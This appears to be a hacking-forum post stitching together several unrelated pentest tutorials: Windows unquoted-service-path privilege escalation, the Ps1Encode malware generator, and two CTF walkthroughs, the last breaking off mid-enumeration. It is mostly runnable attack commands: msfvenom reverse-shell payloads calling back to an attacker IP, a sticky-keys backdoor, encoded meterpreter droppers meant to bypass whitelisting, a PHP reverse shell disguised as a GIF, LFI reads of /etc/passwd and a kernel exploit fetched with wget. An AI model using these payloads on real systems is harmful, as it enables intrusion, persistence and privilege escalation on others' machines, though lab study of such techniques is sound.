05-14-2020, 09:37 AM
| 0 | 0 | ||
Table of Content
- Introduction
- Lab setup
- Spawn command shell as local user
- Escalated privilege via Prepend-migrate
- Escalated privilege via Adding user Administrators Group
- Escalated privilege via RDP & Sticky_keys
Introduction
The vulnerability is related to the path of the executable that has a space in the filename and the file name is not enclosed in quote tags (“”). Also, if it has writable permissions, then an attacker can replace the executable file with its malicious exe file, so as to escalate admin privileges.
Lab set-up
Victim’s Machine: Windows 7
Attacker’s machine: Kali Linux
First, we have downloaded and installed a Vulnerable application naming photodex proshow in our windows system, which we found under
[To see content please register here]
![[Image: 8.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-2ae4fjQbedk/W3cLAK6TOaI/AAAAAAAAZ00/ANz3Kr4dSSUJnEYOvHP6i1ySjfVVZAUYgCLcBGAs/s1600/8.png?w=687)
Spawning Victim’s Machine
We need to compromise the windows machine at least once to gain the meterpreter session. As you can observe we already have victim’s meterpreter session. Now let’s open the command shell from here.
![[Image: 9.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-NdIUb_-NLpo/W3cLAwX1gEI/AAAAAAAAZ04/6dez_ipF1BUTrhKNFVMYyf6AmLROUu4bQCLcBGAs/s1600/9.png?w=687)
shell
1
shell
As you can observe, we have shell access as local_user and to get cmd as administrator we need to escalate its privileges. Firstly we can enumerate out all the services that are running on the victim’s machine and discover those that are not bounded inside quotes tag with help of the following command:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
So we have enumerated following path: C:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe as you can see, there is not quotes tag around the path and also space in the filename.
![[Image: 10.1.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-XggELFddlIQ/W3cK9Gg8BtI/AAAAAAAAZ0M/LAgVXJ4SNTgYeYCwJf-cKLm5068VL9_9QCLcBGAs/s1600/10.1.png?w=687)
Now let’s identify the folder permissions using the following command:
icacls scsiaccess.exe
1
icacls scsiaccess.exe
As you can observe it has writable permission for everyone which means user raj can overwrite this file.
![[Image: 10.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-_PVrl9_SzwQ/W3cK85tLd7I/AAAAAAAAZ0E/1IHh09hDlTwaDg9xkJvAjxcj8_WuL3QVQCLcBGAs/s1600/10.png?w=687)
Escalated privilege via Prepend-migrate
Now we can place any malicious exe file in the same folder that will give admin privilege when the service will be restarted, Windows will launch this executable instead of the genuine exe.
Open the terminal in kali Linux and type following command to generate exe payload using msfvenom.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 prependmigrate=true prependmigrateprocess=explorer.exe -f exe > /root/Desktop/scsiaccess.exe
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 prependmigrate=true prependmigrateprocess=explorer.exe -f exe > /root/Desktop/scsiaccess.exe
Above command will create a malicious exe file on the Desktop and now send this file to the victim. The payload migrates its process if the current process gets killed; hence the attacker will not lose his session if the victim kills the current process ID of the payload from its system.
![[Image: 11.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-erSKk9PO7as/W3cK8-G3d_I/AAAAAAAAZ0I/PKzuT9gklS8KQybZrrlJbeVMBbfaSy25ACLcBGAs/s1600/11.png?w=687)
Now replace the genuine executable file from the malicious exe, here I have renamed genuine Scsiaccess.exe to Scsiaccess.exe.orginal and uploaded malicious Scsiaccess.exe in the same folder and then reboot the victim’s machine.
move scsiaccess.exe scsiaccess.exe.orginal
upload /root/Desktop/scsiaccess.exe .
reboot
1
2
3
move scsiaccess.exe scsiaccess.exe.orginal
upload /root/Desktop/scsiaccess.exe .
reboot
![[Image: 12.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-UvGtC-JOzQ4/W3cK977hmfI/AAAAAAAAZ0U/pa630mvtYxgvRMjb6teDtgHQnHnPMk9mQCLcBGAs/s1600/12.png?w=687)
Simultaneously we have start multi/handler listener in a new terminal to catch the meterpreter session with admin privilege.
use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit
1
2
3
4
5
use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit
Yuppie!! And after some time we got a shell with admin privileges.
![[Image: 13.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-9j27YrgLrjs/W3cK94marSI/AAAAAAAAZ0Y/tURjuX4W_VYa4892z_Oim9ORyLT_1hDEQCLcBGAs/s1600/13.png?w=687)
Escalated privilege via Adding user Administrators Group
After spawning a shell as local_user, we enumerated all username list with or without admin privileges. So we found user:raaz is not a member of the admin group.
net user
net user raaz
1
2
net user
net user raaz
![[Image: 14.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-obNFPFYQOUE/W3cK97rpoVI/AAAAAAAAZ0Q/1ScFe2K5cz4FrmnsK5ufbWZwLLlXWL4SgCLcBGAs/s1600/14.png?w=687)
So again we generated an exe file which will add user:raaz into administrators group. The name of our exe file will be same i.e. Scsiaccess.exe
msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f exe > /root/Desktop/scsiaccess.exe
1
msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f exe > /root/Desktop/scsiaccess.exe
![[Image: 15.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-awPfhnZpSwU/W3cK-vH4IiI/AAAAAAAAZ0c/yO5WIGZj65oIoEOY2yCunMXtZKHvsztJwCLcBGAs/s1600/15.png?w=687)
Now repeat the above steps, replace the genuine executable file from the malicious exe file and reboot the host machine.
![[Image: 16.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-Ap5abA8GSPQ/W3cK_DRf8MI/AAAAAAAAZ0g/vy4cix0qf7cOrgsr3dMCYf_R3DEuf88twCLcBGAs/s1600/16.png?w=687)
If you will notice the following image, you can observe that the user raaz has become a member of the Administrators group.
![[Image: 17.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-6Df9RVtr_bs/W3cK_VA92wI/AAAAAAAAZ0k/bxvjWan6JNIRTqU6o6hnTqBn4pJGrJbswCLcBGAs/s1600/17.png?w=687)
Escalated privilege via RDP & Sticky_keys
Generate an exe using msfvenom with similar name Scsiaccess.exe and then transfer into victim’s machine, meanwhile run multi handler with autorun script which will enable RDP service once the service gets restarted.
use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdp
msf exploit(multi/handler) exploit
1
2
3
4
5
6
use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdp
msf exploit(multi/handler) exploit
![[Image: 23.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-5emDwNwmZss/W3cK_cz8TYI/AAAAAAAAZ0o/6Cf3_mw2Ogopf8HaQVSlVB-sOiFVmqVlwCLcBGAs/s1600/23.png?w=687)
Similarly, we will set the autorun script to enable sticky_keys once the service restarts.
msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keys
msf exploit(multi/handler) run
1
2
msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keys
msf exploit(multi/handler) run
As you can observe from the below screenshot, another meterpreter session (session 3) got opened which has administrative rights. Now let’s connect to the victim’s host via RDP.
rdesktop 192.168.1.101
1
rdesktop 192.168.1.101
![[Image: 24.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-kBVSR6_q-Ns/W3cK_4oPUkI/AAAAAAAAZ0s/yT_-Kzvf4P8V6JWVSY3CmisRpZ5RL3RHQCLcBGAs/s1600/24.png?w=687)
Now press shift_key 5 times continuously and you will get command prompt as administrator.
![[Image: 25.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-pWVmXvapKFY/W3cK_zXOryI/AAAAAAAAZ0w/oW5rv06HrLs_r-r_LYOs1gExZChpY_XvQCLcBGAs/s1600/25.png?w=687)
Source: //www.exploit-db.com/exploits/24872/
In this article, we will learn the Ps1Encode tool and how to use it by generating malware in different file formats such as HTA, EXE, etc.
Introduction
The working code of Ps1Encode is developed by Piotr Marszalik, Dev Kennedy with few others. Ps1Encode is used to generate a malicious payload in order to generate a meterpreter session. While generating the payload, it will encode it too. It is a different way to bypass Whitelisting and security on the target system. It’s developed in ruby and allows us to create a series of payloads which are based on Metasploit but can be prepared in any format we desire. The final aim is to get a PowerShell running and execute our payload through it.
There are various formats for our malware that are supported by Ps1Encode are the following :
- raw (encoded payload only – no powershell run options)
- cmd (for use with bat files)
- vba (for use with macro trojan docs)
- vbs (for use with vbs scripts)
- war (tomcat)
- exe (executable) requires MinGW – x86_64-w64-mingw32-gcc [apt-get install mingw-w64]
- java (for use with malicious java applets)
- js (javascript)
- js-rd32 (javascript called by rundll32.exe)
- php (for use with php pages)
- hta (HTML applications)
- cfm (for use with Adobe ColdFusion)
- aspx (for use with Microsoft ASP.NET)
- lnk (windows shortcut – requires a webserver to stage the payload)
- sct (COM scriptlet – requires a webserver to stage the payload)
[To see content please register here]
using git clone command as shown in the image below :![[Image: 1.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-FVGtsOCbtP0/XHjzmjIqtnI/AAAAAAAAdM8/XtyTyfJ4IqwHXMc4dprCHTJFTMiEnstWACLcBGAs/s1600/1.png?w=687)
Once it’s downloaded, let’s use the help command to check the syntax that we have to use. Use the following set of commands for that :
cd ps1encode/
ls
./ps1encode.rb -h
1
2
3
cd ps1encode/
ls
./ps1encode.rb -h
![[Image: 2.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-Bt2brjdHSRw/XHjzmmg-III/AAAAAAAAdNA/ymDInApS4LMghM8kK7jG8lnSSSVxfgSiQCLcBGAs/s1600/2.png?w=687)
Following are the syntaxes that we can use :
-i : defines localhost IP
-p : defines localhost port value
-a : defines payload value
-t : defines the output format
Now, we will generate a malicious raw file using the following command :
./ps1encode.rb -I 192.168.1.107 -p 8000 -a windows/meterpreter/reverse_https
1
./ps1encode.rb -I 192.168.1.107 -p 8000 -a windows/meterpreter/reverse_https
![[Image: 3.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-5yPJLreqAh4/XHjzn52j-8I/AAAAAAAAdNI/UutLCB3uJkgSyEx4lA68sYQ_GBVU6wgWwCLcBGAs/s1600/3.png?w=687)
Copy the code generated using the above command in the file with the extension.bat. and then share it by using the python server. You can start the server using the following command :
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 4.1.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-wkjQN_FJKVo/XHjzoVMQ5HI/AAAAAAAAdNM/KHqZPpaLhWQaMMcs5TroLJ1yFvH9dAnsACLcBGAs/s1600/4.1.png?w=687)
Simultaneously, start the multi handler to have a session with the following set of commands :
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
lport 8000
exploit
1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
lport 8000
exploit
![[Image: 4.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-Sq4Hrcef6-Y/XHjzoSWdiEI/AAAAAAAAdNQ/yFJrgkKJaxQdIkymE6C4bcmPQEsv-jNHgCLcBGAs/s1600/4.png?w=687)
Once the file is executed in the victims’ PC, you will have your session as shown in the image above. Now we will generate our malware in the form of HTA file. Use the following command to generate the HTA file :
./ps1encode.rb -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverese_tcp -t hta
1
./ps1encode.rb -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverese_tcp -t hta
![[Image: 5.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-8oXhDZ36nwY/XHjzokrUcbI/AAAAAAAAdNU/QEe6wReV09IKyrbJ5w-7W3qB4dU7eO3ZACLcBGAs/s1600/5.png?w=687)
Following script will be created due to the above command, send this file to the victim’s PC using python server like before.
![[Image: 6.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-9FS1sMeBxxU/XHjzpfA84BI/AAAAAAAAdNc/-mrUR6KUGrkxRuOmvezb-fp4VM9gfno4ACLcBGAs/s1600/6.png?w=687)
Simultaneously, start the multi handler to have a session with the following set of commands :
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
set lport 8000
exploit
1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
set lport 8000
exploit
![[Image: 8.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-kHLX0fjKt50/XHjzo-y4RLI/AAAAAAAAdNY/4OsJV_aJmYQOzhFdqW2g69NyKY43T1L2ACLcBGAs/s1600/8.png?w=687)
Once the file is executed in the victims’ PC, you will have your session as shown in the image above. Now we will try and generate an EXE file with the following :
./ps1encode -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverse_tcp -t exe
1
./ps1encode -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverse_tcp -t exe
![[Image: 9.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-Eod8Xvobi-A/XHjzpUpjBXI/AAAAAAAAdNg/usr-lyQtmAQvwMLftuGux_0NBynng6JoACLcBGAs/s1600/9.png?w=687)
Send this file to the victim’s PC using python server like before a shown in the image above. Simultaneously, start the multi handler to have a session with the following set of commands :
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
set lport 8000
exploit
1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
set lport 8000
exploit
![[Image: 10.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-4cVLeM3TVCw/XHjznPB_TpI/AAAAAAAAdNE/xUrDAqydF8k1wutBAhZCdOWtMM2LpaozgCLcBGAs/s1600/10.png?w=687)
This way, you can use Ps1Encode to generate files in any format. As you can see, it’s pretty simple and convenient along with being user-friendly. Possibilities with Ps1Encode are endless.
Hello readers and welcome to another CTF challenge. This VM is made by Frank Tope as you’ll see on the very homepage on the server’s website (his resume). Nice touch, if I might add. Anyhow, you can download this VM from vulnhub
[To see content please register here]
. The aim of this lab is to get root and read the congratulatory message written in the flag.I would rate the difficulty level of this lab to be intermediate. Although, there were no buffer overflows or unnecessary exploit development, yet it did make us think a little.
Steps Involved:
- Port Scanning and IP clutching.
- Directory busting port 80.
- Directory busting port 8011.
- Discovering LFI vulnerability.
- Discovering an HTML backup file.
- Cracking password hash
- Logging in /development
- Uploading a PHP shell disguised as GIF file.
- Bypassing the check and triggering the file to get a netcat shell.
- Privilege escalation to get the flag.
The first step is as always, running netdiscover on the VM to grab the IP address. In my case, the IP was 192.168.1.103.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Di-JzPjOMVM/W3BdM-5LdsI/AAAAAAAAZsw/wdsdZ_02m0Qnk-Jx4Mxy45Jp-fFtHw7xwCLcBGAs/s1600/1.png?w=687&ssl=1)
Once the IP was found, we ran nmap aggressive scan to enumerate all the open ports.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-LHjyi99d5kU/W3BdOubZNoI/AAAAAAAAZtY/2KKQwSc6SbQQBQIJot0q1Fo9LCB1vDscQCLcBGAs/s1600/2.png?w=687&ssl=1)
What was there to wait for after we saw port 80 open! We headed straight into the browser and a webpage got displayed which looked like a single page resume.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-7vxY2LOKxT0/W3BdQThldpI/AAAAAAAAZt8/HOa3v5hhIRYafoLY5et6-8FbXiyHxAOtQCLcBGAs/s1600/3.png?w=687&ssl=1)
After not finding much, we chose to run directory buster dirb.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/--dflh0la8oc/W3BdQiR--VI/AAAAAAAAZuE/bKJqgaXuh6YbXOVZL1r2NFRyZONrSA1cwCLcBGAs/s1600/5.png?w=687&ssl=1)
robots.txt seemed interesting at first but it had nothing at all. Another directory was /development. It looked like a testing site since it asked for the authentication.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-5hWhnish0lA/W3BdQkDCNeI/AAAAAAAAZuA/Ubvl5WsQh74W9VS36MnK82UR3JiPsxnYwCLcBGAs/s1600/6.png?w=687&ssl=1)
We then chose to look into port 8011, after finding not much of the info. It looked like a backend to the development directory.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-C_nkXJGjUu0/W3BdQ0G2x4I/AAAAAAAAZuI/mIpMKxl_8S8T9mriVItQv1FkijmDQR-LACLcBGAs/s1600/7.png?w=687&ssl=1)
We ran one more dirb scan on this port.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-c6WCBBMrW5g/W3BdRUmWfiI/AAAAAAAAZuM/WFWwDSuQxKoA-KtwEJzBbGhErPJQMIs1wCLcBGAs/s1600/8.png?w=687&ssl=1)
We found an interesting directory called /api. We opened it in the browser immediately.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-evWYLdtyBYA/W3BdRnUjyLI/AAAAAAAAZuQ/sF0HKh7ZbGASwM7a2Klbsh8XG3k7kUA8QCLcBGAs/s1600/9.png?w=687&ssl=1)
We modified the URL parameter to /api/<api-name> but only one API seemed to be working and that was
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-xSu6WUIOmxw/W3BdM_mwY7I/AAAAAAAAZs0/nb6Z1rmj1bcEsTniCGYdv9hBdaroAVZ1gCLcBGAs/s1600/10.png?w=687&ssl=1)
A message said, “no parameter called file passed to me.” It gave us a hint that we had to pass a parameter called file.
192.168.1.103:8011/api/files_api.php?file=/etc/passwd
1
192.168.1.103:8011/api/files_api.php?file=/etc/passwd
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-JpiFqOcT69E/W3BdM4IqlrI/AAAAAAAAZs4/z3bKeqvlS64gHia9YZrvKnsQXHACEjy0ACLcBGAs/s1600/11.png?w=687&ssl=1)
HAHA. They got us. But still, there was another thing left to try—bypassing parameter through curl.
curl -X POST -d "file=/etc/passwd"
[To see content please register here]
1
curl -X POST -d "file=/etc/passwd"
[To see content please register here]
As you can see, LFI is present here!
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-b_QBfUECbBI/W3BdNUzykzI/AAAAAAAAZs8/48hagVLJCMkOyGFT7iU7dXJI1PT5QC4LACLcBGAs/s1600/12.png?w=687&ssl=1)
Now, we tried some methods, put our hands here and there but nothing worked with this LFI.
Meanwhile, another thing that got our attention was the development server. You had a development site, you have a development server, and hence there would be more than one html files or copies of html files (backups).
One such common file is index.html.bak
It was an arrow in the dark but it hit the bullseye!
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-aBvbujV6JNY/W3BdNuyrqeI/AAAAAAAAZtE/0e78V7TG-RsUuccaKcmlT-faBBN_3---ACLcBGAs/s1600/14.png?w=687&ssl=1)
We saved it and read it using cat utility.
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-YxNcr5zBoXI/W3BdNV3fiGI/AAAAAAAAZtA/PN6c6Jy_gfAXtfNowE0kF80h4l8dXrK8gCLcBGAs/s1600/15.png?w=687&ssl=1)
It had a password hash! It took us no time to copy this in a text file called hash.txt and run John the Ripper on it.
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-nlbyvX5OJfE/W3BdN4nS_BI/AAAAAAAAZtM/781fW7hvkOAmaQvok5nh3hHU1lU4KW0ZwCLcBGAs/s1600/17.png?w=687&ssl=1)
It surely was the credentials to /development authentication.
frank:frank!!!!
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-IyHuSJIiRag/W3BdOF0fUTI/AAAAAAAAZtQ/WR1EBzP1x38iiG33TRT1KlqG3DMrHyWqwCLcBGAs/s1600/18.png?w=687&ssl=1)
And it opened up like a beautiful treasure!
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-BbHhjDUT08E/W3BdOQ2sfWI/AAAAAAAAZtU/DYz39YYQ7MI7lvySt5iQDYqgvMXb0IU1QCLcBGAs/s1600/19.png?w=687&ssl=1)
The message on this page said that the uploader tool was only half completed. So, we went to /uploader directory
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-pBK5vU_tIOA/W3BdOvmPL7I/AAAAAAAAZtc/zTaoLufmit4l3AZKyPSeM2CHltdN0KrwQCLcBGAs/s1600/20.png?w=687&ssl=1)
The uploader had a security check for images only (jpg, png, gif) and a size limitation too.
So, here is what we did.
Traverse to the directory: /usr/share/webshells/php/php-reverse-shell.php
Open it with a text editor and add GIF98 in the first line and save this file as shell.gif
![[Image: 21.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-z8nh9F7VrZw/W3BdO09xlAI/AAAAAAAAZtg/EpToTuHKnO0SyPu3DJYpsGx0n1TAtQOWgCLcBGAs/s1600/21.png?w=687&ssl=1)
Now, what this will do is that it will trick the uploader in believing the file is GIF when in reality, it is a PHP reverse shell.
So, we upload shell.gif using the uploader and the following message was received.
![[Image: 22.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-LiZEXlGk4eg/W3BdPSmdQJI/AAAAAAAAZtk/3t3r5tW68fEeZO2cjgfzhoSfI3Uvs2m3wCLcBGAs/s1600/22.png?w=687&ssl=1)
Now, the author said the file was uploaded to his uploads path. Let’s get a little perspective here.
Website’s name: Frank’s website
Uploader’s name: Frank uploader.
First message on the website: I love patterns
It took a while for us but we guessed it in the end, the upload’s directory would be named Frank uploads.
We tried many permutations for this directory like Frankupload, frankUploads, franksuploads etc. but the one that seemed to hit was FRANKuploads.
This step was tedious and time-consuming as there was no straight connection from anywhere to this directory.
![[Image: 23.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/--zqFQ1DrjXw/W3BdPkHzHTI/AAAAAAAAZto/FoC8gkvshMIfZctBvtKFzgLKOYCQx5mWACLcBGAs/s1600/23.png?w=687&ssl=1)
Now, all was left to trigger this file. We know for a fact that double-clicking won’t do us any good so we used curl once again to get a shell.
We activated netcat on a terminal side by side and typed this following curl command:
curl –X POST –d "file=/var/www/development/uploader/FRANKuploads/shell.gif"
[To see content please register here]
1
curl –X POST –d "file=/var/www/development/uploader/FRANKuploads/shell.gif"
[To see content please register here]
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-6zZPdx3LV0M/W3BdPp78TcI/AAAAAAAAZts/SLxW1UqK6rgtz8FmXBr4RB-WnfdmUyYBACLcBGAs/s1600/24.png?w=687&ssl=1)
On another terminal, we had activated netcat:
As soon as curl triggered the LFI vulnerability and requested for shell.gif, we got a netcat session!
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash");'
uname -a
1
2
3
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash");'
uname -a
![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-hgedKyaEsow/W3BdP7ZhrEI/AAAAAAAAZtw/EdUeB4jtJ74rAABYQPRcaRt7RiSOMbApQCLcBGAs/s1600/25.png?w=687&ssl=1)
After a bit of surfing, we found a Linux Kernel exploit for version 2.6
searchsploit 15285
cd Desktop
cp /usr/share/exploitdb/exploits/linux/local/15285.c .
python -m SimpleHTTPServer 80
1
2
3
4
searchsploit 15285
cd Desktop
cp /usr/share/exploitdb/exploits/linux/local/15285.c .
python -m SimpleHTTPServer 80
![[Image: 26.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-mLYB_ViVH6k/W3BdQCD9UJI/AAAAAAAAZt0/o_Ukn6xjcYM3-in9RzG_D5UpBV3Q1jC2ACLcBGAs/s1600/26.png?w=687&ssl=1)
On our VM shell, we downloaded this exploit, compiled it and ran it to get root!
cd tmp
wget
[To see content please register here]
gcc 15285.c -o 15285chmod 777 15285
./15285
1
2
3
4
5
cd tmp
wget
[To see content please register here]
gcc 15285.c -o 15285chmod 777 15285
./15285
Voila! We got root!
cd root
ls
cat root.txt
1
2
3
cd root
ls
cat root.txt
![[Image: 27.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-7cQLcmdTLGE/W3BdQCjRO7I/AAAAAAAAZt4/JIihQ9_gmf0BmpPK1R-e5m8DtBElIqTBACLcBGAs/s1600/27.png?w=687&ssl=1)
And there it was, the flag. Hope you enjoyed because we sure did!
Hello friends! Today we are going to take another CTF challenge known as Wakanda and it is another capture the flag challenge provided for practice. So let’s try to break through it. But before please note that you can download it from
[To see content please register here]
.Security Level: Intermediate
Flags: There are three flags (flag1.txt, flag2.txt, root.txt)
Penetrating Methodologies
- Network Scanning (Nmap, netdiscover)
- HTTP service enumeration
- Exploiting LFI using php filter
- Decode the base 64 encoded text for password
- SSH Login
- Get 1st Flag
- Finding files owned by devops
- Overwrite antivirus.py via malicious python code
- Get netcat session
- Get 2nd flag
- Sudo Privilege Escalation
- Exploit Fake Pip
- Get the Root access and Capture the 3rd flag
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-wUXbYsmQcPA/W27JxytxBtI/AAAAAAAAZrQ/kopGcAFYseYtfdg7W5TEApFhJlextTHtQCEwYBhgL/s1600/1.png?w=687&ssl=1)
We found our target –> 192.168.1.124
Our next step is to scan our target with NMAP.
nmap -p- -A 192.168.1.124
1
nmap -p- -A 192.168.1.124
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-mf2lTtaoCw4/W27J2A4BurI/AAAAAAAAZrQ/BYKCMkO3FRgliVL7K2EalwAmhO4q_AxIACEwYBhgL/s1600/2.png?w=687&ssl=1)
The NMAP output shows us that there are 4 ports open: 80 (HTTP), 111 (RPC), 333(SSH), 48920(RPC)
Browsed the URL
[To see content please register here]
and poked around; however, we were not able to get any significant clues to move forward![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-8rzQ0xikp6A/W27J2WFJuuI/AAAAAAAAZrM/JV7PoOb4GekiRCccQL_1gdxiHu1ZNlduwCEwYBhgL/s1600/3.png?w=687&ssl=1)
We didn’t find anything on the webpage so we use dirb to enumerate the directories.
dirb
[To see content please register here]
1
dirb
[To see content please register here]
![[Image: 4.1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-S9q4UVM28IQ/W27J22NKWSI/AAAAAAAAZrI/m2jRNqHZgaQTMjykjClWSahzrWVoX315QCEwYBhgL/s1600/4.1.png?w=687&ssl=1)
All the pages that we find in the dirb scan have size zero and we don’t find any content on any of the pages. We take a look at the source page of the index file and we find a “lang” parameter commented inside the page.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-SXPnuaCTfaQ/W27J3qjx3WI/AAAAAAAAZrQ/jGvApOShXdEmm0VNg7gDh9E_6K69kB4jgCEwYBhgL/s1600/4.png?w=687&ssl=1)
We use the “lang” parameter, just like it was shown in the page and find the text has been converted into French. Now we check if the “lang” parameter is vulnerable to LFI.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-6bINCAgJTAk/W27J3wdmZDI/AAAAAAAAZrM/RWfKciVLgGw7802He6pinbnmHFRABNLVQCEwYBhgL/s1600/5.png?w=687&ssl=1)
We are able to exploit the LFI vulnerability using “php://filter/convert.base64-encode” function and access the index page.
curl
[To see content please register here]
1
curl
[To see content please register here]
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-VkEm3WupFzc/W27J4aRz7PI/AAAAAAAAZrU/fgyGsVH9XnUOYyKLIt3BQI7EKQz2OsvrgCEwYBhgL/s1600/8.png?w=687&ssl=1)
We decode the base64 encoded string and find the password “Niamey4Ever227!!!”. On the page, we find that “mamadou” is the author. We use these credentials to login through ssh on the target machine.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-WiG23keB3wE/W27J4kuD4hI/AAAAAAAAZrY/Y65bkhTyibcaWNJA6rHdj2TnMXdtMtFMwCEwYBhgL/s1600/9.png?w=687&ssl=1)
When we login through ssh we get a python IDE prompt. We import the pty module and spawn ‘/bin/bash’ shell. We take a look at the home directory for user mamaduo and find the first flag.
ssh [email protected] -p 3333
1
ssh [email protected] -p 3333
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-qBtPrm97Um4/W27JxxsJMgI/AAAAAAAAZrY/O0CV3r6zEJIQs36UHrNGOuQ62v0cYZl6QCEwYBhgL/s1600/10.png?w=687&ssl=1)
Enumerating through the directories, inside /tmp directory we find a file called test. We open it and find nothing interesting, but when we take a closer look at the file we find it that is owned by a devops. Now we find all the files owned by user devops and find a file called “.antivirus.py” inside /srv directory.
find / -user devops 2>/dev/null
1
find / -user devops 2>/dev/null
